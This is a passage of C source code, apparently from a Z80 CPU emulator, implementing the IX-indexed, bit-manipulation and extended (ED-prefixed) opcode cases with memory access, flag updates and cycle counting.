setadd16(ix.w,de.w); ix.w+=de.w; cycles-=16; //t 16 break; case 0x21: /*LD IX,xxxx*/ ix.b.l=readmem(pc); pc++; ix.b.h=readmem(pc); pc++; cycles-=16; //t 16 break; case 0x22: /*LD (xxxx),IX*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; writemem(addr,ix.b.l); writemem(addr+1,ix.b.h); cycles-=24; // t 24 break; case 0x23: /*INC IX*/ ix.w++; cycles-=12; // t 8 break; case 0x24: /*INC IXh*/ ix.b.h++; setinc(ix.b.h); cycles-=8; break; case 0x25: /*DEC IXh*/ ix.b.h--; setdec(ix.b.h); cycles-=8; break; case 0x26: /*LD IXh,xx*/ ix.b.h=readmem(pc); pc++; cycles-=12; // t 12 break; case 0x29: /*ADD IX,IX*/ setadd16(ix.w,ix.w); ix.w+=ix.w; cycles-=16; //t 16 break; case 0x2A: /*LD IX,(xxxx)*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; ix.b.l=readmem(addr); ix.b.h=readmem(addr+1); cycles-=24; // t 24 break; case 0x2B: /*DEC IX*/ ix.w--; cycles-=12; // 8 break; case 0x2C: /*INC IXl*/ ix.b.l++; setinc(ix.b.l); cycles-=8; // 8 break; case 0x2D: /*DEC IXl*/ ix.b.l--; setdec(ix.b.l); cycles-=8; // 8 break; case 0x2E: /*LD IXl,xx*/ ix.b.l=readmem(pc); pc++; cycles-=12; // t 12 break; case 0x34: /*INC (IX+d)*/ offset=(signed char)readmem(pc); pc++; temp=readmem(ix.w+offset)+1; setinc(temp); writemem(ix.w+offset,temp); cycles-=24; // t 12 break; case 0x35: /*DEC (IX+d)*/ offset=(signed char)readmem(pc); pc++; temp=readmem(ix.w+offset)-1; setdec(temp); writemem(ix.w+offset,temp); cycles-=24; // t 12 break; case 0x36: /*LD (IX+d),xx*/ offset=(signed char)readmem(pc); pc++; temp=readmem(pc); pc++; writemem(ix.w+offset,temp); cycles-=24; // t 24 break; case 0x39: /*ADD IX,SP*/ setadd16(ix.w,sp); ix.w+=sp; cycles-=16; // t 16 break; case 0x44: bc.b.h=ix.b.h; cycles-=8; break; /*LD B,IXh*/ // NEW case 0x45: bc.b.h=ix.b.l; cycles-=8; break; /*LD B,IXl*/ case 0x46: offset=(signed char)readmem(pc); pc++; bc.b.h=readmem(ix.w+offset); cycles-=20; break; /*LD B,(IX+d)*/ // t 24 case 0x4E: offset=(signed char)readmem(pc); pc++; bc.b.l=readmem(ix.w+offset); cycles-=20; break; /*LD C,(IX+d)*/ // t 24 case 0x56: offset=(signed char)readmem(pc); pc++; de.b.h=readmem(ix.w+offset); cycles-=20; break; /*LD D,(IX+d)*/ // t 24 case 0x5E: offset=(signed char)readmem(pc); pc++; de.b.l=readmem(ix.w+offset); cycles-=20; break; /*LD E,(IX+d)*/ // t 24 case 0x66: offset=(signed char)readmem(pc); pc++; hl.b.h=readmem(ix.w+offset); cycles-=20; break; /*LD H,(IX+d)*/ // t 24 case 0x6E: offset=(signed char)readmem(pc); pc++; hl.b.l=readmem(ix.w+offset); cycles-=20; break; /*LD L,(IX+d)*/ // t 24 case 0x7E: offset=(signed char)readmem(pc); pc++; af.b.h=readmem(ix.w+offset); cycles-=20; break; /*LD A,(IX+d)*/ // t 24 case 0x4C: bc.b.l=ix.b.h; cycles-=8; break; /*LD C,IXh*/ case 0x4D: bc.b.l=ix.b.l; cycles-=8; break; /*LD C,IXl*/ case 0x54: de.b.h=ix.b.h; cycles-=8; break; /*LD D,IXh*/ case 0x55: de.b.h=ix.b.l; cycles-=8; break; /*LD D,IXl*/ case 0x5C: de.b.l=ix.b.h; cycles-=8; break; /*LD E,IXh*/ case 0x5D: de.b.l=ix.b.l; cycles-=8; break; /*LD E,IXl*/ case 0x60: ix.b.h=bc.b.h; cycles-=8; break; /*LD IXh,B*/ case 0x61: ix.b.h=bc.b.l; cycles-=8; break; /*LD IXh,C*/ case 0x62: ix.b.h=de.b.h; cycles-=8; break; /*LD IXh,B*/ case 0x63: ix.b.h=de.b.l; cycles-=8; break; /*LD IXh,C*/ case 0x64: ix.b.h=hl.b.h; cycles-=8; break; /*LD IXh,B*/ case 0x65: ix.b.h=hl.b.l; cycles-=8; break; /*LD IXh,C*/ case 0x67: ix.b.h=af.b.h; cycles-=8; break; /*LD IXh,A*/ case 0x68: ix.b.l=bc.b.h; cycles-=8; break; /*LD IXl,B*/ case 0x69: ix.b.l=bc.b.l; cycles-=8; break; /*LD IXl,C*/ case 0x6A: ix.b.l=de.b.h; cycles-=8; break; /*LD IXl,B*/ case 0x6B: ix.b.l=de.b.l; cycles-=8; break; /*LD IXl,C*/ case 0x6C: ix.b.l=hl.b.h; cycles-=8; break; /*LD IXl,B*/ case 0x6D: ix.b.l=hl.b.l; cycles-=8; break; /*LD IXl,C*/ case 0x6F: ix.b.l=af.b.h; cycles-=8; break; /*LD IXl,A*/ case 0x70: offset=(signed char)readmem(pc); pc++; writemem(ix.w+offset,bc.b.h); cycles-=20; break; /*LD (IX+d),B*/ // t 24 case 0x71: offset=(signed char)readmem(pc); pc++; writemem(ix.w+offset,bc.b.l); cycles-=20; break; /*LD (IX+d),C*/ // t 24 case 0x72: offset=(signed char)readmem(pc); pc++; writemem(ix.w+offset,de.b.h); cycles-=20; break; /*LD (IX+d),D*/ // t 24 case 0x73: offset=(signed char)readmem(pc); pc++; writemem(ix.w+offset,de.b.l); cycles-=20; break; /*LD (IX+d),E*/ // t 24 case 0x74: offset=(signed char)readmem(pc); pc++; writemem(ix.w+offset,hl.b.h); cycles-=20; break; /*LD (IX+d),H*/ // t 24 case 0x75: offset=(signed char)readmem(pc); pc++; writemem(ix.w+offset,hl.b.l); cycles-=20; break; /*LD (IX+d),L*/ // t 24 case 0x77: offset=(signed char)readmem(pc); pc++; writemem(ix.w+offset,af.b.h); cycles-=20; break; /*LD (IX+d),A*/ // t 24 case 0x7C: af.b.h=ix.b.h; cycles-=8; break; /*LD A,IXh*/ case 0x7D: af.b.h=ix.b.l; cycles-=8; break; /*LD A,IXl*/ case 0x84: setadd(af.b.h,ix.b.h); af.b.h+=ix.b.h; cycles-=8; break; /*ADD IXh*/ case 0x85: setadd(af.b.h,ix.b.l); af.b.h+=ix.b.l; cycles-=8; break; /*ADD IXl*/ case 0x8C: setadc(af.b.h,ix.b.h); af.b.h+=ix.b.h+tempc; cycles-=4; break; /*ADC IXh*/ case 0x8D: setadc(af.b.h,ix.b.l); af.b.h+=ix.b.l+tempc; cycles-=4; break; /*ADC IXl*/ case 0x94: setsub(af.b.h,ix.b.h); af.b.h-=ix.b.h; cycles-=4; break; /*SUB IXh*/ case 0x95: setsub(af.b.h,ix.b.l); af.b.h-=ix.b.l; cycles-=4; break; /*SUB IXl*/ case 0x86: offset=(signed char)readmem(pc); pc++; temp=readmem(ix.w+offset); setadd(af.b.h,temp); af.b.h+=temp; cycles-=20; break; /*ADD (IX+d)*/ // t 28 case 0x8E: offset=(signed char)readmem(pc); pc++; temp=readmem(ix.w+offset); setadc(af.b.h,temp); af.b.h+=temp+tempc; cycles-=20; break; /*ADC (IX+d)*/ // t 28 case 0x96: offset=(signed char)readmem(pc); pc++; temp=readmem(ix.w+offset); setsub(af.b.h,temp); af.b.h-=temp; cycles-=20; break; /*SUB (IX+d)*/ // t 28 case 0xA6: offset=(signed char)readmem(pc); pc++; temp=readmem(ix.w+offset); af.b.h&=temp; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=20; break; /*AND (IX+d)*/ // t 28 case 0xAE: offset=(signed char)readmem(pc); pc++; temp=readmem(ix.w+offset); af.b.h^=temp; setzn(af.b.h); cycles-=20; break; /*XOR (IX+d)*/ // t 28 case 0xB6: offset=(signed char)readmem(pc); pc++; temp=readmem(ix.w+offset); af.b.h|=temp; setzn(af.b.h); cycles-=20; break; /*OR (IX+d)*/ // t 28 // NEW. case 0x9C: setsbc(af.b.h,ix.b.h); af.b.h-=(ix.b.h+tempc); cycles-=8; break; /*SBC IXh*/ case 0x9D: setsbc(af.b.h,ix.b.l); af.b.h-=(ix.b.l+tempc); cycles-=8; break; /*SBC IXl*/ case 0x9E: offset=(signed char)readmem(pc); pc++; temp=readmem(ix.w+offset); setsbc(af.b.h,temp); af.b.h-=temp; cycles-=20; break; /*SBC (IX+d)*/ // NEW // NEW. case 0xBC: setcp(af.b.h,ix.b.h); cycles-=8; break; /*CP IXh*/ // NEW case 0xBD: setcp(af.b.h,ix.b.l); cycles-=8; break; /*CP IXl*/ // NEW case 0xBE: offset=(signed char)readmem(pc); pc++; temp=readmem(ix.w+offset); setcp(af.b.h,temp); cycles-=20; break; /*CP (IX+d)*/ // t 28 // NEW. case 0xAC: af.b.h^=ix.b.h; setzn(af.b.h); af.b.l&=~3; cycles-=8; break; /*XOR IXh*/ // NEW case 0xAD: af.b.h^=ix.b.l; setzn(af.b.h); af.b.l&=~3; cycles-=8; break; /*XOR IXL*/ // NEW case 0xA4: af.b.h&=ix.b.h; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=8; break; /*AND IXh*/ case 0xA5: af.b.h&=ix.b.l; setzn(af.b.h); af.b.l&=~3; af.b.l|=H_FLAG; cycles-=8; break; /*AND IXl*/ case 0xB4: af.b.h|=ix.b.h; setzn(af.b.h); cycles-=8; break; /*OR IXh*/ case 0xB5: af.b.h|=ix.b.l; setzn(af.b.h); cycles-=8; break; /*OR IXl*/ case 0xCB: /*More opcodes*/ offset=(signed char)readmem(pc); pc++; opcode=readmem(pc); pc++; ir.b.l++; switch (opcode) { case 0x06: temp=readmem(ix.w+offset); if (temp&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp<<=1; if (af.b.l&C_FLAG) temp|=1; setznc(temp); writemem(ix.w+offset,temp); cycles-=28; break; /*RLC (IX+d)*/ // t 28 case 0x0E: temp=readmem(ix.w+offset); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; if (af.b.l&C_FLAG) temp|=0x80; setznc(temp); writemem(ix.w+offset,temp); cycles-=28; break; /*RRC (IX+d)*/ // t 28 case 0x16: temp=readmem(ix.w+offset); if (temp&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp<<=1; if (tempc) temp|=1; setznc(temp); writemem(ix.w+offset,temp); cycles-=28; break; /*RL (IX+d)*/ // t 16 case 0x1E: temp=readmem(ix.w+offset); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; if (tempc) temp|=0x80; setznc(temp); writemem(ix.w+offset,temp); cycles-=28; break; /*RR (IX+d)*/ // t 28 case 0x26: temp=readmem(ix.w+offset); if (temp&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp<<=1; setznc(temp); writemem(ix.w+offset,temp); cycles-=28; break; /*SLA (IX+d)*/ //t 28 case 0x2E: temp=readmem(ix.w+offset); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; if (temp&0x40) temp|=0x80; setznc(temp); writemem(ix.w+offset,temp); cycles-=28; break; /*SRA (IX+d)*/ case 0x3E: temp=readmem(ix.w+offset); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; setznc(temp); writemem(ix.w+offset,temp); cycles-=28; break; /*SRA (IX+d)*/ // t 28 case 0x46: temp=readmem(ix.w+offset); setznc(temp&0x01); cycles-=24; break; /*BIT 0,(IX+d)*/ // t 24 case 0x4E: temp=readmem(ix.w+offset); setznc(temp&0x02); cycles-=24; break; /*BIT 1,(IX+d)*/ // t 24 case 0x56: temp=readmem(ix.w+offset); setznc(temp&0x04); cycles-=24; break; /*BIT 2,(IX+d)*/ // t 24 case 0x5E: temp=readmem(ix.w+offset); setznc(temp&0x08); cycles-=24; break; /*BIT 3,(IX+d)*/ // t 24 case 0x66: temp=readmem(ix.w+offset); setznc(temp&0x10); cycles-=24; break; /*BIT 4,(IX+d)*/ // t 24 case 0x6E: temp=readmem(ix.w+offset); setznc(temp&0x20); cycles-=24; break; /*BIT 5,(IX+d)*/ // t 24 case 0x76: temp=readmem(ix.w+offset); setznc(temp&0x40); cycles-=24; break; /*BIT 6,(IX+d)*/ // t 24 case 0x7E: temp=readmem(ix.w+offset); setznc(temp&0x80); cycles-=24; break; /*BIT 7,(IX+d)*/ // t 24 case 0x86: temp=readmem(ix.w+offset)&~0x01; writemem(ix.w+offset,temp); cycles-=28; break; /*RES 0,(IX+d)*/ // t 28 case 0x8E: temp=readmem(ix.w+offset)&~0x02; writemem(ix.w+offset,temp); cycles-=28; break; /*RES 1,(IX+d)*/ // t 28 case 0x96: temp=readmem(ix.w+offset)&~0x04; writemem(ix.w+offset,temp); cycles-=28; break; /*RES 2,(IX+d)*/ // t 28 case 0x9E: temp=readmem(ix.w+offset)&~0x08; writemem(ix.w+offset,temp); cycles-=28; break; /*RES 3,(IX+d)*/ // t 28 case 0xA6: temp=readmem(ix.w+offset)&~0x10; writemem(ix.w+offset,temp); cycles-=28; break; /*RES 4,(IX+d)*/ // t 28 case 0xAE: temp=readmem(ix.w+offset)&~0x20; writemem(ix.w+offset,temp); cycles-=28; break; /*RES 5,(IX+d)*/ // t 28 case 0xB6: temp=readmem(ix.w+offset)&~0x40; writemem(ix.w+offset,temp); cycles-=28; break; /*RES 6,(IX+d)*/ // t 28 case 0xBE: temp=readmem(ix.w+offset)&~0x80; writemem(ix.w+offset,temp); cycles-=28; break; /*RES 7,(IX+d)*/ // t 28 case 0xC6: temp=readmem(ix.w+offset)|0x01; writemem(ix.w+offset,temp); cycles-=28; break; /*SET 0,(IX+d)*/ // t 28 case 0xCE: temp=readmem(ix.w+offset)|0x02; writemem(ix.w+offset,temp); cycles-=28; break; /*SET 1,(IX+d)*/ // t 28 case 0xD6: temp=readmem(ix.w+offset)|0x04; writemem(ix.w+offset,temp); cycles-=28; break; /*SET 2,(IX+d)*/ // t 28 case 0xDE: temp=readmem(ix.w+offset)|0x08; writemem(ix.w+offset,temp); cycles-=28; break; /*SET 3,(IX+d)*/ // t 28 case 0xE6: temp=readmem(ix.w+offset)|0x10; writemem(ix.w+offset,temp); cycles-=28; break; /*SET 4,(IX+d)*/ // t 28 case 0xEE: temp=readmem(ix.w+offset)|0x20; writemem(ix.w+offset,temp); cycles-=28; break; /*SET 5,(IX+d)*/ // t 28 case 0xF6: temp=readmem(ix.w+offset)|0x40; writemem(ix.w+offset,temp); cycles-=28; break; /*SET 6,(IX+d)*/ // t 28 case 0xFE: temp=readmem(ix.w+offset)|0x80; writemem(ix.w+offset,temp); cycles-=28; break; /*SET 7,(IX+d)*/ // t 28 default: //printf("Bad DD CB opcode %02X at %04X\n, opcode: %d",opcode,--pc, opcode); dumpregs(); exit(-1); } break; case 0xCD: /*CALL*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; push(pc>>8); push(pc&0xFF); pc=addr; cycles-=20; // t 20 break; case 0xB1: /*Invalid*/ case 0xC5: case 0x02: case 0xDD: /*Another prefix*/ case 0xFD: ir.b.l--; cycles-=4; pc--; break; case 0xE1: /*POP IX*/ ix.b.l=pull(); ix.b.h=pull(); cycles-=20; // t 16 break; case 0xE3: /*EX (SP),IX*/ tempw=ix.w; ix.b.l=readmem(sp); ix.b.h=readmem(sp+1); writemem(sp,tempw&0xFF); writemem(sp+1,tempw>>8); cycles-=28; // t 28 break; case 0xE5: /*PUSH IX*/ push(ix.b.h); push(ix.b.l); cycles-=20; // t 20 break; case 0xE9: /*JP (IX)*/ pc=ix.w; cycles-=8; break; case 0xF9: /*LD SP,IX*/ sp=ix.w; cycles-=12; // t 8 break; default: //printf("Bad DD opcode %02X at %04X\n opcode: %d",opcode,--pc, opcode); dumpregs(); exit(-1); } break; case 0xDE: /*SBC xx*/ temp=readmem(pc); pc++; setsbc(af.b.h,temp); af.b.h-=(temp+tempc); cycles-=8; break; case 0xDF: /*RST 18*/ push(pc>>8); push(pc); pc=0x18; cycles-=16; // t 16 break; case 0xE0: /*RET PO*/ if (!(af.b.l&P_FLAG)) { pc=pull(); pc|=pull()<<8; cycles-=12; } else { cycles-=8; } break; case 0xE1: /*POP HL*/ hl.b.l=pull(); hl.b.h=pull(); cycles-=12; // t 12 break; case 0xE2: /*JP PO,xxxx*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (!(af.b.l&P_FLAG)) pc=addr; cycles-=16; // t 12 break; case 0xE3: /*EX (SP),HL*/ tempw=hl.w; hl.b.l=readmem(sp); hl.b.h=readmem(sp+1); writemem(sp,tempw&0xFF); writemem(sp+1,tempw>>8); cycles-=24; // t 24 break; case 0xE4: /*CALL PO*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (!(af.b.l&P_FLAG)) { push(pc>>8); push(pc&0xFF); pc=addr; cycles-=20; } else { cycles-=12; } break; case 0xE5: /*PUSH HL*/ push(hl.b.h); push(hl.b.l); cycles-=16; // t 12 break; case 0xE6: /*AND xx*/ af.b.h&=readmem(pc); pc++; af.b.l&=~3; af.b.l|=H_FLAG; setzn(af.b.h); cycles-=8; // t 8 break; case 0xE7: /*RST 20*/ push(pc>>8); push(pc); pc=0x20; cycles-=16; //t 16 break; case 0xE8: /*RET PE*/ if (af.b.l&P_FLAG) { pc=pull(); pc|=pull()<<8; cycles-=16; } else { cycles-=8; } break; case 0xE9: /*JP (HL)*/ pc=hl.w; cycles-=4; break; case 0xEA: /*JP PE,xxxx*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (af.b.l&P_FLAG) pc=addr; cycles-=12; // t 12 break; case 0xEB: /*EX DE,HL*/ tempw=de.w; de.w=hl.w; hl.w=tempw; cycles-=4; break; case 0xEC: /*CALL PE*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (af.b.l&P_FLAG) { push(pc>>8); push(pc&0xFF); pc=addr; cycles-=20; // t 8 } else { cycles-=12; // t 12 } break; case 0xED: /*More opcodes*/ opcode=readmem(pc); pc++; ir.b.l++; switch (opcode) { case 0x00: /*NOP*/ case 0x01: /*NOP*/ case 0x02: /*NOP*/ case 0x03: /*NOP*/ case 0x04: /*NOP*/ case 0x05: /*NOP*/ case 0x06: /*NOP*/ case 0x07: /*NOP*/ case 0x08: /*NOP*/ case 0x09: /*NOP*/ case 0x0A: /*NOP*/ case 0x0B: /*NOP*/ case 0x0C: /*NOP*/ case 0x0D: /*NOP*/ case 0x0E: /*NOP*/ case 0x0F: /*NOP*/ case 0x10: /*NOP*/ case 0x11: /*NOP*/ case 0x12: /*NOP*/ case 0x13: /*NOP*/ case 0x14: /*NOP*/ case 0x15: /*NOP*/ case 0x16: /*NOP*/ case 0x17: /*NOP*/ case 0x18: /*NOP*/ case 0x19: /*NOP*/ case 0x1A: /*NOP*/ case 0x1B: /*NOP*/ case 0x1C: /*NOP*/ case 0x1D: /*NOP*/ case 0x1E: /*NOP*/ case 0x1F: /*NOP*/ case 0x20: /*NOP*/ case 0x21: /*NOP*/ case 0x22: /*NOP*/ case 0x23: /*NOP*/ case 0x24: /*NOP*/ case 0x25: /*NOP*/ case 0x26: /*NOP*/ case 0x27: /*NOP*/ case 0x28: /*NOP*/ case 0x29: /*NOP*/ case 0x2A: /*NOP*/ case 0x2B: /*NOP*/ case 0x2C: /*NOP*/ case 0x2D: /*NOP*/ case 0x2E: /*NOP*/ case 0x2F: /*NOP*/ case 0x30: /*NOP*/ case 0x31: /*NOP*/ case 0x32: /*NOP*/ case 0x33: /*NOP*/ case 0x34: /*NOP*/ case 0x35: /*NOP*/ case 0x36: /*NOP*/ case 0x37: /*NOP*/ case 0x38: /*NOP*/ case 0x39: /*NOP*/ case 0x3A: /*NOP*/ case 0x3B: /*NOP*/ case 0x3C: /*NOP*/ case 0x3D: /*NOP*/ case 0x3E: /*NOP*/ case 0x3F: /*NOP*/ cycles-=8; break; case 0x40: /*IN B,(C)*/ bc.b.h=z80in(bc.w); setzn(bc.b.h); cycles-=16; break; case 0x41: /*OUT (C),B*/ z80out(bc.w,bc.b.h); cycles-=16; break; case 0x42: /*SBC HL,BC*/ setsbc16(hl.w,bc.w); hl.w-=(bc.w+tempc); cycles-=16; break; case 0x43: /*LD (xxxx),BC*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; writemem(addr,bc.b.l); writemem(addr+1,bc.b.h); cycles-=24; break; case 0x44: /*NEG*/ setsub(0,af.b.h); af.b.h=0-af.b.h; cycles-=8; break; case 0x45: /*RETN*/ iff1=iff2; pc=pull(); pc|=(pull()<<8); cycles-=16; // t 16 break; case 0x46: /*IM 0*/ im=0; cycles-=8; break; case 0x47: /*LD I,A*/ ir.b.h=af.b.h; cycles-=12; break; case 0x48: /*IN C,(C)*/ bc.b.l=z80in(bc.w); setzn(bc.b.l); cycles-=16; break; case 0x49: /*OUT (C),C*/ z80out(bc.w,bc.b.l); cycles-=16; break; case 0x4A: /*ADC HL,BC*/ setadc16(hl.w,bc.w); hl.w+=(bc.w+tempc); cycles-=16; break; case 0x4B: /*LD BC,(xxxx)*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; bc.b.l=readmem(addr); bc.b.h=readmem(addr+1); cycles-=24; break; case 0x4C: /*NEG*/ setsub(0,af.b.h); af.b.h=0-af.b.h; cycles-=8; break; case 0x4D: /*RETI*/ iff1=iff2; pc=pull(); pc|=(pull()<<8); cycles-=16; // t 16 break; case 0x4E: /*IM 0*/ im=0; cycles-=8; break; case 0x4F: /*LD R,A*/ ir.b.l=af.b.h; rhigh=af.b.h&0x80; cycles-=12; break; case 0x50: /*IN D,(C)*/ de.b.h=z80in(bc.w); setzn(de.b.h); cycles-=16; break; case 0x51: /*OUT (C),D*/ z80out(bc.w,de.b.h); cycles-=16; break; case 0x52: /*SBC HL,DE*/ setsbc16(hl.w,de.w); hl.w-=(de.w+tempc); cycles-=16; break; case 0x53: /*LD (xxxx),DE*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; writemem(addr,de.b.l); writemem(addr+1,de.b.h); cycles-=24; break; case 0x54: /*NEG*/ setsub(0,af.b.h); af.b.h=0-af.b.h; cycles-=8; break; case 0x55: /*RETN*/ iff1=iff2; pc=pull(); pc|=(pull()<<8); cycles-=16; // t 16 break; case 0x56: /*IM 1*/ im=1; cycles-=8; break; case 0x57: /*LD A,I*/ af.b.h=ir.b.h; cycles-=12; // t 8 break; case 0x58: /*IN E,(C)*/ de.b.l=z80in(bc.w); setzn(de.b.l); cycles-=16; break; case 0x59: /*OUT (C),E*/ z80out(bc.w,de.b.l); cycles-=16; break; case 0x5A: /*ADC HL,DE*/ setadc16(hl.w,de.w); hl.w+=(de.w+tempc); cycles-=16; break; case 0x5B: /*LD DE,(xxxx)*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; de.b.l=readmem(addr); de.b.h=readmem(addr+1); cycles-=24; break; case 0x5C: /*NEG*/ setsub(0,af.b.h); af.b.h=0-af.b.h; cycles-=8; break; case 0x5D: /*RETN*/ iff1=iff2; pc=pull(); pc|=(pull()<<8); cycles-=16; // t 16 break; case 0x5E: /*IM 2*/ im=2; cycles-=8; break; case 0x5F: /*LD A,R*/ af.b.h=(ir.b.l&0x7F)|rhigh; cycles-=12; break; case 0x60: /*IN H,(C)*/ hl.b.h=z80in(bc.w); setzn(hl.b.h); cycles-=16; break; case 0x61: /*OUT (C),H*/ z80out(bc.w,hl.b.h); cycles-=16; break; case 0x62: /*SBC HL,HL*/ setsbc16(hl.w,hl.w); hl.w-=(hl.w+tempc); cycles-=16; break; case 0x63: /*LD (xxxx),HL*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; writemem(addr,hl.b.l); writemem(addr+1,hl.b.h); cycles-=24; break; case 0x64: /*NEG*/ setsub(0,af.b.h); af.b.h=0-af.b.h; cycles-=8; break; case 0x65: /*RETN*/ iff1=iff2; pc=pull(); pc|=(pull()<<8); cycles-=16; // t 16 break; case 0x66: /*IM 0*/ im=0; cycles-=8; break; case 0x67: /*RRD*/ temp=readmem(hl.w); temp2=temp&0xF; temp=(temp>>4)|(af.b.h<<4); af.b.h=(af.b.h&0xF0)|temp2; writemem(hl.w,temp); setznc(af.b.h); cycles-=20; break; // NEW case 0x68: /*IN L,(C)*/ hl.b.l=z80in(bc.w); setzn(hl.b.l); cycles-=16; break; // NEW case 0x69: /*OUT (C),L*/ z80out(bc.w,hl.b.l); cycles-=16; break; case 0x6A: /*ADC HL,HL*/ setadc16(hl.w,hl.w); hl.w+=(hl.w+tempc); cycles-=16; break; case 0x6B: /*LD HL,(xxxx)*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; hl.b.l=readmem(addr); hl.b.h=readmem(addr+1); cycles-=24; break; case 0x6C: /*NEG*/ setsub(0,af.b.h); af.b.h=0-af.b.h; cycles-=8; break; case 0x6D: /*RETN*/ iff1=iff2; pc=pull(); pc|=(pull()<<8); cycles-=16; // t 16 break; case 0x6E: /*IM 0*/ im=0; cycles-=8; break; case 0x6F: /*RLD*/ temp=readmem(hl.w); temp2=temp>>4; temp=(temp<<4)|(af.b.h&0xF); af.b.h=(af.b.h&0xF0)|temp2; writemem(hl.w,temp); setznc(af.b.h); cycles-=20; break; // These seem a bit unknown! // case 0x70: /*IN L,(C)*/ // hl.b.l=z80in(bc.w); // setzn(hl.b.l); // cycles-=12; // break; // NEW case 0x71: /*OUT (C),0*/ z80out(bc.w,0); cycles-=16; break; case 0x72: /*SBC HL,SP*/ setsbc16(hl.w,sp); hl.w-=(sp+tempc); cycles-=16; break; case 0x73: /*LD (xxxx),SP*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; writemem(addr,sp&0xFF); writemem(addr+1,sp>>8); cycles-=24; break; case 0x74: /*NEG*/ setsub(0,af.b.h); af.b.h=0-af.b.h; cycles-=8; break; case 0x75: /*RETN*/ iff1=iff2; pc=pull(); pc|=(pull()<<8); cycles-=16; // t 16 break; case 0x76: /*IM 1*/ im=1; cycles-=8; break; case 0x77: /*NOP*/ cycles-=8; break; case 0x78: /*IN A,(C)*/ af.b.h=z80in(bc.w); setzn(af.b.h); cycles-=16; break; case 0x79: /*OUT (C),A*/ z80out(bc.w,af.b.h); cycles-=16; break; case 0x7A: /*ADC HL,SP*/ setadc16(hl.w,sp); hl.w+=(sp+tempc); cycles-=16; break; case 0x7B: /*LD SP,(xxxx)*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; sp=readmem(addr); sp|=(readmem(addr+1)<<8); cycles-=24; break; case 0x7C: /*NEG*/ setsub(0,af.b.h); af.b.h=0-af.b.h; cycles-=8; break; case 0x7D: /*RETN*/ iff1=iff2; pc=pull(); pc|=(pull()<<8); cycles-=16; // t 16 break; case 0x7E: /*IM 2*/ im=2; cycles-=8; break; case 0x7F: /*NOP*/ case 0x80: /*NOP*/ case 0x81: /*NOP*/ case 0x82: /*NOP*/ case 0x83: /*NOP*/ case 0x84: /*NOP*/ case 0x85: /*NOP*/ case 0x86: /*NOP*/ case 0x87: /*NOP*/ case 0x88: /*NOP*/ case 0x89: /*NOP*/ case 0x8A: /*NOP*/ case 0x8B: /*NOP*/ case 0x8C: /*NOP*/ case 0x8D: /*NOP*/ case 0x8E: /*NOP*/ case 0x8F: /*NOP*/ case 0x90: /*NOP*/ case 0x91: /*NOP*/ case 0x92: /*NOP*/ case 0x93: /*NOP*/ case 0x94: /*NOP*/ case 0x95: /*NOP*/ case 0x96: /*NOP*/ case 0x97: /*NOP*/ case 0x98: /*NOP*/ case 0x99: /*NOP*/ case 0x9A: /*NOP*/ case 0x9B: /*NOP*/ case 0x9C: /*NOP*/ case 0x9D: /*NOP*/ case 0x9E: /*NOP*/ case 0x9F: /*NOP*/ cycles-=8; break; case 0xA0: /*LDI*/ temp=readmem(hl.w); hl.w++; writemem(de.w,temp); de.w++; bc.w--; if (bc.w) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; cycles-=20; break; case 0xA1: /*CPI*/ // printf("CPI %04X %i\n",pc,curhrom); temp=readmem(hl.w); hl.w++; if (af.b.h-temp) af.b.l&=~Z_FLAG; else af.b.l|=Z_FLAG; bc.w--; if (bc.w) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; cycles-=20; break; case 0xA2: /*INI*/ temp=z80in(bc.w); writemem(hl.w,temp); hl.w++; bc.b.h--; if (bc.b.h) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; af.b.l|=S_FLAG; cycles-=20; break; case 0xA3: /*OUTI*/ temp=readmem(hl.w); hl.w++; bc.b.h--; z80out(bc.w,temp); if (bc.b.h) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; af.b.l|=S_FLAG; cycles-=20; break; case 0xA4: /*NOP*/ case 0xA5: /*NOP*/ case 0xA6: /*NOP*/ case 0xA7: /*NOP*/ cycles-=8; break; case 0xA8: /*LDD*/ temp=readmem(hl.w); hl.w--; writemem(de.w,temp); de.w--; bc.w--; if (bc.w) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; cycles-=20; //T 20 break; case 0xA9: /*CPD*/ //printf("CPD %04X %i\n",pc,curhrom); temp=readmem(hl.w); hl.w--; if (af.b.h-temp) af.b.l&=~Z_FLAG; else af.b.l|=Z_FLAG; bc.w--; if (bc.w) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; cycles-=20; break; case 0xAB: /*OUTD*/ temp=readmem(hl.w); hl.w--; bc.b.h--; z80out(bc.w,temp); if (bc.b.h) af.b.l|=P_FLAG; else af.b.l&=~P_FLAG; af.b.l|=S_FLAG; cycles-=20; break; case 0xAC: /*NOP*/ case 0xAD: /*NOP*/ case 0xAE: /*NOP*/ case 0xAF: /*NOP*/ cycles-=8; break; case 0xB0: /*LDIR*/ 